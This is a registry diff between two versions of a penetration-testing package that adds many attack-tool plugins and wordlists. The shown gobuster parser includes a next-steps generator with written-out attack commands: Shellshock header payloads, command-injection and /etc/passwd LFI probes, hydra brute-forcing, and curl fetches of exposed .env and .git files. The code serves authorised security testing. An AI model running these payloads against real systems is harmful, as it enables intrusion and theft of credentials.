souleyez 2.43.29__py3-none-any.whl → 2.43.32__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (356) hide show
  1. souleyez/__init__.py +1 -2
  2. souleyez/ai/__init__.py +21 -15
  3. souleyez/ai/action_mapper.py +249 -150
  4. souleyez/ai/chain_advisor.py +116 -100
  5. souleyez/ai/claude_provider.py +29 -28
  6. souleyez/ai/context_builder.py +80 -62
  7. souleyez/ai/executor.py +158 -117
  8. souleyez/ai/feedback_handler.py +136 -121
  9. souleyez/ai/llm_factory.py +27 -20
  10. souleyez/ai/llm_provider.py +4 -2
  11. souleyez/ai/ollama_provider.py +6 -9
  12. souleyez/ai/ollama_service.py +44 -37
  13. souleyez/ai/path_scorer.py +91 -76
  14. souleyez/ai/recommender.py +176 -144
  15. souleyez/ai/report_context.py +74 -73
  16. souleyez/ai/report_service.py +84 -66
  17. souleyez/ai/result_parser.py +222 -229
  18. souleyez/ai/safety.py +67 -44
  19. souleyez/auth/__init__.py +23 -22
  20. souleyez/auth/audit.py +36 -26
  21. souleyez/auth/engagement_access.py +65 -48
  22. souleyez/auth/permissions.py +14 -3
  23. souleyez/auth/session_manager.py +54 -37
  24. souleyez/auth/user_manager.py +109 -64
  25. souleyez/commands/audit.py +40 -43
  26. souleyez/commands/auth.py +35 -15
  27. souleyez/commands/deliverables.py +55 -50
  28. souleyez/commands/engagement.py +47 -28
  29. souleyez/commands/license.py +32 -23
  30. souleyez/commands/screenshots.py +36 -32
  31. souleyez/commands/user.py +82 -36
  32. souleyez/config.py +52 -44
  33. souleyez/core/credential_tester.py +87 -81
  34. souleyez/core/cve_mappings.py +179 -192
  35. souleyez/core/cve_matcher.py +162 -148
  36. souleyez/core/msf_auto_mapper.py +100 -83
  37. souleyez/core/msf_chain_engine.py +294 -256
  38. souleyez/core/msf_database.py +153 -70
  39. souleyez/core/msf_integration.py +679 -673
  40. souleyez/core/msf_rpc_client.py +40 -42
  41. souleyez/core/msf_rpc_manager.py +77 -79
  42. souleyez/core/msf_sync_manager.py +241 -181
  43. souleyez/core/network_utils.py +22 -15
  44. souleyez/core/parser_handler.py +34 -25
  45. souleyez/core/pending_chains.py +114 -63
  46. souleyez/core/templates.py +158 -107
  47. souleyez/core/tool_chaining.py +9592 -2879
  48. souleyez/core/version_utils.py +79 -94
  49. souleyez/core/vuln_correlation.py +136 -89
  50. souleyez/core/web_utils.py +33 -32
  51. souleyez/data/wordlists/ad_users.txt +378 -0
  52. souleyez/data/wordlists/api_endpoints_large.txt +769 -0
  53. souleyez/data/wordlists/home_dir_sensitive.txt +39 -0
  54. souleyez/data/wordlists/lfi_payloads.txt +82 -0
  55. souleyez/data/wordlists/passwords_brute.txt +1548 -0
  56. souleyez/data/wordlists/passwords_crack.txt +2479 -0
  57. souleyez/data/wordlists/passwords_spray.txt +386 -0
  58. souleyez/data/wordlists/subdomains_large.txt +5057 -0
  59. souleyez/data/wordlists/usernames_common.txt +694 -0
  60. souleyez/data/wordlists/web_dirs_large.txt +4769 -0
  61. souleyez/detection/__init__.py +1 -1
  62. souleyez/detection/attack_signatures.py +12 -17
  63. souleyez/detection/mitre_mappings.py +61 -55
  64. souleyez/detection/validator.py +97 -86
  65. souleyez/devtools.py +23 -10
  66. souleyez/docs/README.md +4 -4
  67. souleyez/docs/api-reference/cli-commands.md +2 -2
  68. souleyez/docs/developer-guide/adding-new-tools.md +562 -0
  69. souleyez/docs/user-guide/auto-chaining.md +30 -8
  70. souleyez/docs/user-guide/getting-started.md +1 -1
  71. souleyez/docs/user-guide/installation.md +26 -3
  72. souleyez/docs/user-guide/metasploit-integration.md +2 -2
  73. souleyez/docs/user-guide/rbac.md +1 -1
  74. souleyez/docs/user-guide/scope-management.md +1 -1
  75. souleyez/docs/user-guide/siem-integration.md +1 -1
  76. souleyez/docs/user-guide/tools-reference.md +1 -8
  77. souleyez/docs/user-guide/worker-management.md +1 -1
  78. souleyez/engine/background.py +1238 -535
  79. souleyez/engine/base.py +4 -1
  80. souleyez/engine/job_status.py +17 -49
  81. souleyez/engine/log_sanitizer.py +103 -77
  82. souleyez/engine/manager.py +38 -7
  83. souleyez/engine/result_handler.py +2198 -1550
  84. souleyez/engine/worker_manager.py +50 -41
  85. souleyez/export/evidence_bundle.py +72 -62
  86. souleyez/feature_flags/features.py +16 -20
  87. souleyez/feature_flags.py +5 -9
  88. souleyez/handlers/__init__.py +11 -0
  89. souleyez/handlers/base.py +188 -0
  90. souleyez/handlers/bash_handler.py +277 -0
  91. souleyez/handlers/bloodhound_handler.py +243 -0
  92. souleyez/handlers/certipy_handler.py +311 -0
  93. souleyez/handlers/crackmapexec_handler.py +486 -0
  94. souleyez/handlers/dnsrecon_handler.py +344 -0
  95. souleyez/handlers/enum4linux_handler.py +400 -0
  96. souleyez/handlers/evil_winrm_handler.py +493 -0
  97. souleyez/handlers/ffuf_handler.py +815 -0
  98. souleyez/handlers/gobuster_handler.py +1114 -0
  99. souleyez/handlers/gpp_extract_handler.py +334 -0
  100. souleyez/handlers/hashcat_handler.py +444 -0
  101. souleyez/handlers/hydra_handler.py +563 -0
  102. souleyez/handlers/impacket_getuserspns_handler.py +343 -0
  103. souleyez/handlers/impacket_psexec_handler.py +222 -0
  104. souleyez/handlers/impacket_secretsdump_handler.py +426 -0
  105. souleyez/handlers/john_handler.py +286 -0
  106. souleyez/handlers/katana_handler.py +425 -0
  107. souleyez/handlers/kerbrute_handler.py +298 -0
  108. souleyez/handlers/ldapsearch_handler.py +636 -0
  109. souleyez/handlers/lfi_extract_handler.py +464 -0
  110. souleyez/handlers/msf_auxiliary_handler.py +408 -0
  111. souleyez/handlers/msf_exploit_handler.py +380 -0
  112. souleyez/handlers/nikto_handler.py +413 -0
  113. souleyez/handlers/nmap_handler.py +821 -0
  114. souleyez/handlers/nuclei_handler.py +359 -0
  115. souleyez/handlers/nxc_handler.py +371 -0
  116. souleyez/handlers/rdp_sec_check_handler.py +353 -0
  117. souleyez/handlers/registry.py +288 -0
  118. souleyez/handlers/responder_handler.py +232 -0
  119. souleyez/handlers/service_explorer_handler.py +434 -0
  120. souleyez/handlers/smbclient_handler.py +344 -0
  121. souleyez/handlers/smbmap_handler.py +510 -0
  122. souleyez/handlers/smbpasswd_handler.py +296 -0
  123. souleyez/handlers/sqlmap_handler.py +1116 -0
  124. souleyez/handlers/theharvester_handler.py +601 -0
  125. souleyez/handlers/whois_handler.py +277 -0
  126. souleyez/handlers/wpscan_handler.py +554 -0
  127. souleyez/history.py +32 -16
  128. souleyez/importers/msf_importer.py +106 -75
  129. souleyez/importers/smart_importer.py +208 -147
  130. souleyez/integrations/siem/__init__.py +10 -10
  131. souleyez/integrations/siem/base.py +17 -18
  132. souleyez/integrations/siem/elastic.py +108 -122
  133. souleyez/integrations/siem/factory.py +207 -80
  134. souleyez/integrations/siem/googlesecops.py +146 -154
  135. souleyez/integrations/siem/rule_mappings/__init__.py +1 -1
  136. souleyez/integrations/siem/rule_mappings/wazuh_rules.py +8 -5
  137. souleyez/integrations/siem/sentinel.py +107 -109
  138. souleyez/integrations/siem/splunk.py +246 -212
  139. souleyez/integrations/siem/wazuh.py +65 -71
  140. souleyez/integrations/wazuh/__init__.py +5 -5
  141. souleyez/integrations/wazuh/client.py +70 -93
  142. souleyez/integrations/wazuh/config.py +85 -57
  143. souleyez/integrations/wazuh/host_mapper.py +28 -36
  144. souleyez/integrations/wazuh/sync.py +78 -68
  145. souleyez/intelligence/__init__.py +4 -5
  146. souleyez/intelligence/correlation_analyzer.py +309 -295
  147. souleyez/intelligence/exploit_knowledge.py +661 -623
  148. souleyez/intelligence/exploit_suggestions.py +159 -139
  149. souleyez/intelligence/gap_analyzer.py +132 -97
  150. souleyez/intelligence/gap_detector.py +251 -214
  151. souleyez/intelligence/sensitive_tables.py +266 -129
  152. souleyez/intelligence/service_parser.py +137 -123
  153. souleyez/intelligence/surface_analyzer.py +407 -268
  154. souleyez/intelligence/target_parser.py +159 -162
  155. souleyez/licensing/__init__.py +6 -6
  156. souleyez/licensing/validator.py +17 -19
  157. souleyez/log_config.py +79 -54
  158. souleyez/main.py +1505 -687
  159. souleyez/migrations/fix_job_counter.py +16 -14
  160. souleyez/parsers/bloodhound_parser.py +41 -39
  161. souleyez/parsers/crackmapexec_parser.py +178 -111
  162. souleyez/parsers/dalfox_parser.py +72 -77
  163. souleyez/parsers/dnsrecon_parser.py +103 -91
  164. souleyez/parsers/enum4linux_parser.py +183 -153
  165. souleyez/parsers/ffuf_parser.py +29 -25
  166. souleyez/parsers/gobuster_parser.py +301 -41
  167. souleyez/parsers/hashcat_parser.py +324 -79
  168. souleyez/parsers/http_fingerprint_parser.py +350 -103
  169. souleyez/parsers/hydra_parser.py +131 -111
  170. souleyez/parsers/impacket_parser.py +231 -178
  171. souleyez/parsers/john_parser.py +98 -86
  172. souleyez/parsers/katana_parser.py +316 -0
  173. souleyez/parsers/msf_parser.py +943 -498
  174. souleyez/parsers/nikto_parser.py +346 -65
  175. souleyez/parsers/nmap_parser.py +262 -174
  176. souleyez/parsers/nuclei_parser.py +40 -44
  177. souleyez/parsers/responder_parser.py +26 -26
  178. souleyez/parsers/searchsploit_parser.py +74 -74
  179. souleyez/parsers/service_explorer_parser.py +279 -0
  180. souleyez/parsers/smbmap_parser.py +180 -124
  181. souleyez/parsers/sqlmap_parser.py +434 -308
  182. souleyez/parsers/theharvester_parser.py +75 -57
  183. souleyez/parsers/whois_parser.py +135 -94
  184. souleyez/parsers/wpscan_parser.py +278 -190
  185. souleyez/plugins/afp.py +44 -36
  186. souleyez/plugins/afp_brute.py +114 -46
  187. souleyez/plugins/ard.py +48 -37
  188. souleyez/plugins/bloodhound.py +95 -61
  189. souleyez/plugins/certipy.py +303 -0
  190. souleyez/plugins/crackmapexec.py +186 -85
  191. souleyez/plugins/dalfox.py +120 -59
  192. souleyez/plugins/dns_hijack.py +146 -41
  193. souleyez/plugins/dnsrecon.py +97 -61
  194. souleyez/plugins/enum4linux.py +91 -66
  195. souleyez/plugins/evil_winrm.py +291 -0
  196. souleyez/plugins/ffuf.py +166 -90
  197. souleyez/plugins/firmware_extract.py +133 -29
  198. souleyez/plugins/gobuster.py +387 -190
  199. souleyez/plugins/gpp_extract.py +393 -0
  200. souleyez/plugins/hashcat.py +100 -73
  201. souleyez/plugins/http_fingerprint.py +854 -267
  202. souleyez/plugins/hydra.py +566 -200
  203. souleyez/plugins/impacket_getnpusers.py +117 -69
  204. souleyez/plugins/impacket_psexec.py +84 -64
  205. souleyez/plugins/impacket_secretsdump.py +103 -69
  206. souleyez/plugins/impacket_smbclient.py +89 -75
  207. souleyez/plugins/john.py +86 -69
  208. souleyez/plugins/katana.py +313 -0
  209. souleyez/plugins/kerbrute.py +237 -0
  210. souleyez/plugins/lfi_extract.py +541 -0
  211. souleyez/plugins/macos_ssh.py +117 -48
  212. souleyez/plugins/mdns.py +35 -30
  213. souleyez/plugins/msf_auxiliary.py +253 -130
  214. souleyez/plugins/msf_exploit.py +239 -161
  215. souleyez/plugins/nikto.py +134 -78
  216. souleyez/plugins/nmap.py +275 -91
  217. souleyez/plugins/nuclei.py +180 -89
  218. souleyez/plugins/nxc.py +285 -0
  219. souleyez/plugins/plugin_base.py +35 -36
  220. souleyez/plugins/plugin_template.py +13 -5
  221. souleyez/plugins/rdp_sec_check.py +130 -0
  222. souleyez/plugins/responder.py +112 -71
  223. souleyez/plugins/router_http_brute.py +76 -65
  224. souleyez/plugins/router_ssh_brute.py +118 -41
  225. souleyez/plugins/router_telnet_brute.py +124 -42
  226. souleyez/plugins/routersploit.py +91 -59
  227. souleyez/plugins/routersploit_exploit.py +77 -55
  228. souleyez/plugins/searchsploit.py +91 -77
  229. souleyez/plugins/service_explorer.py +1160 -0
  230. souleyez/plugins/smbmap.py +122 -72
  231. souleyez/plugins/smbpasswd.py +215 -0
  232. souleyez/plugins/sqlmap.py +301 -113
  233. souleyez/plugins/theharvester.py +127 -75
  234. souleyez/plugins/tr069.py +79 -57
  235. souleyez/plugins/upnp.py +65 -47
  236. souleyez/plugins/upnp_abuse.py +73 -55
  237. souleyez/plugins/vnc_access.py +129 -42
  238. souleyez/plugins/vnc_brute.py +109 -38
  239. souleyez/plugins/whois.py +77 -58
  240. souleyez/plugins/wpscan.py +173 -69
  241. souleyez/reporting/__init__.py +2 -1
  242. souleyez/reporting/attack_chain.py +411 -346
  243. souleyez/reporting/charts.py +436 -501
  244. souleyez/reporting/compliance_mappings.py +334 -201
  245. souleyez/reporting/detection_report.py +126 -125
  246. souleyez/reporting/formatters.py +828 -591
  247. souleyez/reporting/generator.py +386 -302
  248. souleyez/reporting/metrics.py +72 -75
  249. souleyez/scanner.py +35 -29
  250. souleyez/security/__init__.py +37 -11
  251. souleyez/security/scope_validator.py +175 -106
  252. souleyez/security/validation.py +223 -149
  253. souleyez/security.py +22 -6
  254. souleyez/storage/credentials.py +247 -186
  255. souleyez/storage/crypto.py +296 -129
  256. souleyez/storage/database.py +73 -50
  257. souleyez/storage/db.py +58 -36
  258. souleyez/storage/deliverable_evidence.py +177 -128
  259. souleyez/storage/deliverable_exporter.py +282 -246
  260. souleyez/storage/deliverable_templates.py +134 -116
  261. souleyez/storage/deliverables.py +135 -130
  262. souleyez/storage/engagements.py +109 -56
  263. souleyez/storage/evidence.py +181 -152
  264. souleyez/storage/execution_log.py +31 -17
  265. souleyez/storage/exploit_attempts.py +93 -57
  266. souleyez/storage/exploits.py +67 -36
  267. souleyez/storage/findings.py +48 -61
  268. souleyez/storage/hosts.py +176 -144
  269. souleyez/storage/migrate_to_engagements.py +43 -19
  270. souleyez/storage/migrations/_001_add_credential_enhancements.py +22 -12
  271. souleyez/storage/migrations/_002_add_status_tracking.py +10 -7
  272. souleyez/storage/migrations/_003_add_execution_log.py +14 -8
  273. souleyez/storage/migrations/_005_screenshots.py +13 -5
  274. souleyez/storage/migrations/_006_deliverables.py +13 -5
  275. souleyez/storage/migrations/_007_deliverable_templates.py +12 -7
  276. souleyez/storage/migrations/_008_add_nuclei_table.py +10 -4
  277. souleyez/storage/migrations/_010_evidence_linking.py +17 -10
  278. souleyez/storage/migrations/_011_timeline_tracking.py +20 -13
  279. souleyez/storage/migrations/_012_team_collaboration.py +34 -21
  280. souleyez/storage/migrations/_013_add_host_tags.py +12 -6
  281. souleyez/storage/migrations/_014_exploit_attempts.py +22 -10
  282. souleyez/storage/migrations/_015_add_mac_os_fields.py +15 -7
  283. souleyez/storage/migrations/_016_add_domain_field.py +10 -4
  284. souleyez/storage/migrations/_017_msf_sessions.py +16 -8
  285. souleyez/storage/migrations/_018_add_osint_target.py +10 -6
  286. souleyez/storage/migrations/_019_add_engagement_type.py +10 -6
  287. souleyez/storage/migrations/_020_add_rbac.py +36 -15
  288. souleyez/storage/migrations/_021_wazuh_integration.py +20 -8
  289. souleyez/storage/migrations/_022_wazuh_indexer_columns.py +6 -4
  290. souleyez/storage/migrations/_023_fix_detection_results_fk.py +16 -6
  291. souleyez/storage/migrations/_024_wazuh_vulnerabilities.py +26 -10
  292. souleyez/storage/migrations/_025_multi_siem_support.py +3 -5
  293. souleyez/storage/migrations/_026_add_engagement_scope.py +31 -12
  294. souleyez/storage/migrations/_027_multi_siem_persistence.py +32 -15
  295. souleyez/storage/migrations/__init__.py +26 -26
  296. souleyez/storage/migrations/migration_manager.py +19 -19
  297. souleyez/storage/msf_sessions.py +100 -65
  298. souleyez/storage/osint.py +17 -24
  299. souleyez/storage/recommendation_engine.py +269 -235
  300. souleyez/storage/screenshots.py +33 -32
  301. souleyez/storage/smb_shares.py +136 -92
  302. souleyez/storage/sqlmap_data.py +183 -128
  303. souleyez/storage/team_collaboration.py +135 -141
  304. souleyez/storage/timeline_tracker.py +122 -94
  305. souleyez/storage/wazuh_vulns.py +64 -66
  306. souleyez/storage/web_paths.py +33 -37
  307. souleyez/testing/credential_tester.py +221 -205
  308. souleyez/ui/__init__.py +1 -1
  309. souleyez/ui/ai_quotes.py +12 -12
  310. souleyez/ui/attack_surface.py +2439 -1516
  311. souleyez/ui/chain_rules_view.py +914 -382
  312. souleyez/ui/correlation_view.py +312 -230
  313. souleyez/ui/dashboard.py +2382 -1130
  314. souleyez/ui/deliverables_view.py +148 -62
  315. souleyez/ui/design_system.py +13 -13
  316. souleyez/ui/errors.py +49 -49
  317. souleyez/ui/evidence_linking_view.py +284 -179
  318. souleyez/ui/evidence_vault.py +393 -285
  319. souleyez/ui/exploit_suggestions_view.py +555 -349
  320. souleyez/ui/export_view.py +100 -66
  321. souleyez/ui/gap_analysis_view.py +315 -171
  322. souleyez/ui/help_system.py +105 -97
  323. souleyez/ui/intelligence_view.py +436 -293
  324. souleyez/ui/interactive.py +22783 -10678
  325. souleyez/ui/interactive_selector.py +75 -68
  326. souleyez/ui/log_formatter.py +47 -39
  327. souleyez/ui/menu_components.py +22 -13
  328. souleyez/ui/msf_auxiliary_menu.py +184 -133
  329. souleyez/ui/pending_chains_view.py +336 -172
  330. souleyez/ui/progress_indicators.py +5 -3
  331. souleyez/ui/recommendations_view.py +195 -137
  332. souleyez/ui/rule_builder.py +343 -225
  333. souleyez/ui/setup_wizard.py +678 -284
  334. souleyez/ui/shortcuts.py +217 -165
  335. souleyez/ui/splunk_gap_analysis_view.py +452 -270
  336. souleyez/ui/splunk_vulns_view.py +139 -86
  337. souleyez/ui/team_dashboard.py +498 -335
  338. souleyez/ui/template_selector.py +196 -105
  339. souleyez/ui/terminal.py +6 -6
  340. souleyez/ui/timeline_view.py +198 -127
  341. souleyez/ui/tool_setup.py +264 -164
  342. souleyez/ui/tutorial.py +202 -72
  343. souleyez/ui/tutorial_state.py +40 -40
  344. souleyez/ui/wazuh_vulns_view.py +235 -141
  345. souleyez/ui/wordlist_browser.py +260 -107
  346. souleyez/ui.py +464 -312
  347. souleyez/utils/tool_checker.py +427 -367
  348. souleyez/utils.py +33 -29
  349. souleyez/wordlists.py +134 -167
  350. {souleyez-2.43.29.dist-info → souleyez-2.43.32.dist-info}/METADATA +1 -1
  351. souleyez-2.43.32.dist-info/RECORD +441 -0
  352. {souleyez-2.43.29.dist-info → souleyez-2.43.32.dist-info}/WHEEL +1 -1
  353. souleyez-2.43.29.dist-info/RECORD +0 -379
  354. {souleyez-2.43.29.dist-info → souleyez-2.43.32.dist-info}/entry_points.txt +0 -0
  355. {souleyez-2.43.29.dist-info → souleyez-2.43.32.dist-info}/licenses/LICENSE +0 -0
  356. {souleyez-2.43.29.dist-info → souleyez-2.43.32.dist-info}/top_level.txt +0 -0
@@ -5,7 +5,7 @@ souleyez.parsers.gobuster_parser
5
5
  Parses Gobuster directory/file enumeration output into structured data.
6
6
  """
7
7
  import re
8
- from typing import Dict, Any
8
+ from typing import Dict, Any, List
9
9
  from urllib.parse import urlparse
10
10
 
11
11
 
@@ -50,38 +50,37 @@ def parse_gobuster_output(output: str, target: str = "") -> Dict[str, Any]:
50
50
  ]
51
51
  }
52
52
  """
53
- result = {
54
- 'target_url': target,
55
- 'paths': []
56
- }
53
+ result = {"target_url": target, "paths": []}
57
54
 
58
55
  # Strip ANSI escape codes from output (gobuster progress lines contain these)
59
- ansi_escape = re.compile(r'\x1b\[[0-9;]*[a-zA-Z]')
60
- output = ansi_escape.sub('', output)
56
+ ansi_escape = re.compile(r"\x1b\[[0-9;]*[a-zA-Z]")
57
+ output = ansi_escape.sub("", output)
61
58
 
62
- lines = output.split('\n')
59
+ lines = output.split("\n")
63
60
 
64
61
  for line in lines:
65
62
  line = line.strip()
66
63
 
67
64
  # Skip progress lines (gobuster v3.6+ outputs these on Ubuntu/newer systems)
68
65
  # Format: "Progress: 12345 / 50798 (24.30%)"
69
- if line.startswith('Progress:'):
66
+ if line.startswith("Progress:"):
70
67
  continue
71
68
 
72
69
  # Extract target URL from header
73
- if line.startswith('[+] Url:'):
74
- url_match = re.search(r'\[?\+\]?\s*Url:\s+(\S+)', line)
70
+ if line.startswith("[+] Url:"):
71
+ url_match = re.search(r"\[?\+\]?\s*Url:\s+(\S+)", line)
75
72
  if url_match:
76
- result['target_url'] = url_match.group(1)
73
+ result["target_url"] = url_match.group(1)
77
74
 
78
75
  # Parse discovered paths
79
76
  # Format (v3.6 and earlier): /path (Status: NNN) [Size: NNN] [--> redirect]
80
77
  # Format (v3.8+): path (Status: NNN) [Size: NNN] [--> redirect]
81
- elif '(Status:' in line and not line.startswith('[') and not line.startswith('='):
82
- path_data = _parse_path_line(line, result['target_url'])
78
+ elif (
79
+ "(Status:" in line and not line.startswith("[") and not line.startswith("=")
80
+ ):
81
+ path_data = _parse_path_line(line, result["target_url"])
83
82
  if path_data:
84
- result['paths'].append(path_data)
83
+ result["paths"].append(path_data)
85
84
 
86
85
  return result
87
86
 
@@ -102,25 +101,25 @@ def _parse_path_line(line: str, base_url: str = "") -> Dict[str, Any]:
102
101
  try:
103
102
  # Extract path (everything before first parenthesis or multiple spaces)
104
103
  # Handle both /path and path formats (v3.8+ outputs without leading /)
105
- path_match = re.match(r'^(/?[^\s(]+)\s+', line)
104
+ path_match = re.match(r"^(/?[^\s(]+)\s+", line)
106
105
  if not path_match:
107
106
  return None
108
107
 
109
108
  path = path_match.group(1).strip()
110
109
  # Ensure path starts with /
111
- if not path.startswith('/'):
112
- path = '/' + path
110
+ if not path.startswith("/"):
111
+ path = "/" + path
113
112
 
114
113
  # Extract status code
115
- status_match = re.search(r'\(Status:\s*(\d+)\)', line)
114
+ status_match = re.search(r"\(Status:\s*(\d+)\)", line)
116
115
  status_code = int(status_match.group(1)) if status_match else None
117
116
 
118
117
  # Extract size
119
- size_match = re.search(r'\[Size:\s*(\d+)\]', line)
118
+ size_match = re.search(r"\[Size:\s*(\d+)\]", line)
120
119
  size = int(size_match.group(1)) if size_match else None
121
120
 
122
121
  # Extract redirect target if present
123
- redirect_match = re.search(r'\[-+>\s*([^\]]+)\]', line)
122
+ redirect_match = re.search(r"\[-+>\s*([^\]]+)\]", line)
124
123
  redirect = redirect_match.group(1).strip() if redirect_match else None
125
124
 
126
125
  # Build full URL
@@ -131,11 +130,11 @@ def _parse_path_line(line: str, base_url: str = "") -> Dict[str, Any]:
131
130
  full_url = path
132
131
 
133
132
  return {
134
- 'path': path,
135
- 'url': full_url,
136
- 'status_code': status_code,
137
- 'size': size,
138
- 'redirect': redirect
133
+ "path": path,
134
+ "url": full_url,
135
+ "status_code": status_code,
136
+ "size": size,
137
+ "redirect": redirect,
139
138
  }
140
139
  except Exception:
141
140
  return None
@@ -151,19 +150,15 @@ def get_paths_stats(parsed: Dict[str, Any]) -> Dict[str, int]:
151
150
  Returns:
152
151
  Dict with counts by status code: {'200': 5, '301': 3, '403': 2, ...}
153
152
  """
154
- stats = {
155
- 'total': len(parsed.get('paths', [])),
156
- 'redirects': 0,
157
- 'by_status': {}
158
- }
153
+ stats = {"total": len(parsed.get("paths", [])), "redirects": 0, "by_status": {}}
159
154
 
160
- for path in parsed.get('paths', []):
161
- status = str(path.get('status_code', 'unknown'))
162
- stats['by_status'][status] = stats['by_status'].get(status, 0) + 1
155
+ for path in parsed.get("paths", []):
156
+ status = str(path.get("status_code", "unknown"))
157
+ stats["by_status"][status] = stats["by_status"].get(status, 0) + 1
163
158
 
164
159
  # Count redirects (301, 302, 303, 307, 308)
165
- if path.get('redirect'):
166
- stats['redirects'] += 1
160
+ if path.get("redirect"):
161
+ stats["redirects"] += 1
167
162
 
168
163
  return stats
169
164
 
@@ -175,12 +170,277 @@ def categorize_status(status_code: int) -> str:
175
170
  Returns: 'success', 'redirect', 'client_error', 'server_error', 'unknown'
176
171
  """
177
172
  if 200 <= status_code < 300:
178
- return 'success'
173
+ return "success"
179
174
  elif 300 <= status_code < 400:
180
- return 'redirect'
175
+ return "redirect"
181
176
  elif 400 <= status_code < 500:
182
- return 'client_error'
177
+ return "client_error"
183
178
  elif 500 <= status_code < 600:
184
- return 'server_error'
179
+ return "server_error"
185
180
  else:
186
- return 'unknown'
181
+ return "unknown"
182
+
183
+
184
+ def generate_next_steps(parsed: Dict[str, Any]) -> List[Dict[str, Any]]:
185
+ """
186
+ Generate suggested next steps based on gobuster findings.
187
+
188
+ Each step includes:
189
+ - title: Short description of what to try
190
+ - commands: Example commands to run
191
+ - reason: Why this step is suggested
192
+
193
+ Args:
194
+ parsed: Output from parse_gobuster_output()
195
+
196
+ Returns:
197
+ List of next step dicts
198
+ """
199
+ next_steps = []
200
+ paths = parsed.get("paths", [])
201
+ base_url = parsed.get("target_url", "").rstrip("/")
202
+
203
+ if not paths:
204
+ return next_steps
205
+
206
+ # Categorize found paths
207
+ git_paths = []
208
+ env_paths = []
209
+ backup_paths = []
210
+ admin_paths = []
211
+ cgi_paths = []
212
+ wp_paths = []
213
+ api_paths = []
214
+ config_paths = []
215
+ upload_paths = []
216
+
217
+ for path_info in paths:
218
+ path = path_info.get("path", "").lower()
219
+ url = path_info.get("url", "")
220
+ status = path_info.get("status_code", 0)
221
+
222
+ # Skip 404s
223
+ if status == 404:
224
+ continue
225
+
226
+ # Git exposure
227
+ if ".git" in path:
228
+ git_paths.append(url)
229
+ # Environment files
230
+ elif ".env" in path or "env." in path:
231
+ env_paths.append(url)
232
+ # Backup files
233
+ elif any(
234
+ ext in path
235
+ for ext in [".bak", ".backup", ".old", ".orig", ".save", ".swp", "~"]
236
+ ):
237
+ backup_paths.append(url)
238
+ # Config files
239
+ elif any(
240
+ kw in path
241
+ for kw in [
242
+ "config",
243
+ "settings",
244
+ "database",
245
+ ".ini",
246
+ ".yml",
247
+ ".yaml",
248
+ ".xml",
249
+ ".conf",
250
+ ]
251
+ ):
252
+ config_paths.append(url)
253
+ # Admin panels
254
+ elif any(
255
+ kw in path
256
+ for kw in ["admin", "manager", "dashboard", "cpanel", "webadmin", "control"]
257
+ ):
258
+ admin_paths.append(url)
259
+ # CGI scripts
260
+ elif (
261
+ "/cgi-bin/" in path
262
+ or path.endswith(".cgi")
263
+ or path.endswith(".pl")
264
+ or path.endswith(".sh")
265
+ ):
266
+ cgi_paths.append(url)
267
+ # WordPress
268
+ elif any(
269
+ kw in path
270
+ for kw in ["wp-", "wordpress", "wp-content", "wp-admin", "wp-includes"]
271
+ ):
272
+ wp_paths.append(url)
273
+ # API endpoints
274
+ elif any(
275
+ kw in path
276
+ for kw in [
277
+ "/api",
278
+ "/rest",
279
+ "/graphql",
280
+ "/v1/",
281
+ "/v2/",
282
+ "/swagger",
283
+ "/openapi",
284
+ ]
285
+ ):
286
+ api_paths.append(url)
287
+ # Upload directories
288
+ elif any(
289
+ kw in path for kw in ["upload", "uploads", "files", "media", "attachments"]
290
+ ):
291
+ upload_paths.append(url)
292
+
293
+ # Git repository exposure
294
+ if git_paths:
295
+ next_steps.append(
296
+ {
297
+ "title": "Extract source code from exposed .git",
298
+ "commands": [
299
+ f"git-dumper {git_paths[0]} ./git-dump",
300
+ f"# Or manually: wget -r -np -nH --cut-dirs=1 {git_paths[0]}",
301
+ ],
302
+ "reason": f"Found .git directory - may contain full source code and commit history",
303
+ }
304
+ )
305
+
306
+ # Environment file exposure
307
+ if env_paths:
308
+ next_steps.append(
309
+ {
310
+ "title": "Check exposed environment files for secrets",
311
+ "commands": [f'curl -s "{url}"' for url in env_paths[:3]],
312
+ "reason": f"Found {len(env_paths)} .env file(s) - likely contains API keys, passwords, database creds",
313
+ }
314
+ )
315
+
316
+ # Backup files
317
+ if backup_paths:
318
+ next_steps.append(
319
+ {
320
+ "title": "Download backup files for source review",
321
+ "commands": [
322
+ f'curl -s "{url}" -o backup_file' for url in backup_paths[:3]
323
+ ],
324
+ "reason": f"Found {len(backup_paths)} backup file(s) - may contain source code or sensitive data",
325
+ }
326
+ )
327
+
328
+ # Config files
329
+ if config_paths:
330
+ next_steps.append(
331
+ {
332
+ "title": "Review configuration files for sensitive data",
333
+ "commands": [f'curl -s "{url}"' for url in config_paths[:3]],
334
+ "reason": f"Found {len(config_paths)} config file(s) - check for hardcoded credentials",
335
+ }
336
+ )
337
+
338
+ # Admin panels
339
+ if admin_paths:
340
+ next_steps.append(
341
+ {
342
+ "title": "Test admin panel with default credentials",
343
+ "commands": [
344
+ f"# Check login form at: {admin_paths[0]}",
345
+ f'hydra -L data/wordlists/usernames_common.txt -P data/wordlists/top20_quick.txt {base_url} http-post-form "/admin:user=^USER^&pass=^PASS^:Invalid"',
346
+ ],
347
+ "reason": f"Found {len(admin_paths)} admin panel(s) - try admin:admin, admin:password, etc.",
348
+ }
349
+ )
350
+
351
+ # CGI scripts
352
+ if cgi_paths:
353
+ example = cgi_paths[0]
354
+ next_steps.append(
355
+ {
356
+ "title": "Test CGI scripts for command injection",
357
+ "commands": [
358
+ f'curl "{example}?cmd=id"',
359
+ f'curl "{example}?file=/etc/passwd"',
360
+ ],
361
+ "reason": f"Found {len(cgi_paths)} CGI script(s) - test for command injection and LFI",
362
+ }
363
+ )
364
+ next_steps.append(
365
+ {
366
+ "title": "Test for Shellshock (CVE-2014-6271)",
367
+ "commands": [
368
+ f"curl -A '() {{ :; }}; echo; /bin/id' \"{example}\"",
369
+ f'curl -H "Cookie: () {{ :; }}; /bin/id" "{example}"',
370
+ ],
371
+ "reason": "CGI scripts may be vulnerable to Shellshock on older systems",
372
+ }
373
+ )
374
+
375
+ # WordPress paths
376
+ if wp_paths:
377
+ next_steps.append(
378
+ {
379
+ "title": "Run WPScan for WordPress enumeration",
380
+ "commands": [
381
+ f"wpscan --url {base_url} --enumerate u,p,t,cb",
382
+ f"wpscan --url {base_url} --passwords data/wordlists/passwords_brute.txt --usernames admin",
383
+ ],
384
+ "reason": f"WordPress detected - enumerate users, plugins, themes for vulnerabilities",
385
+ }
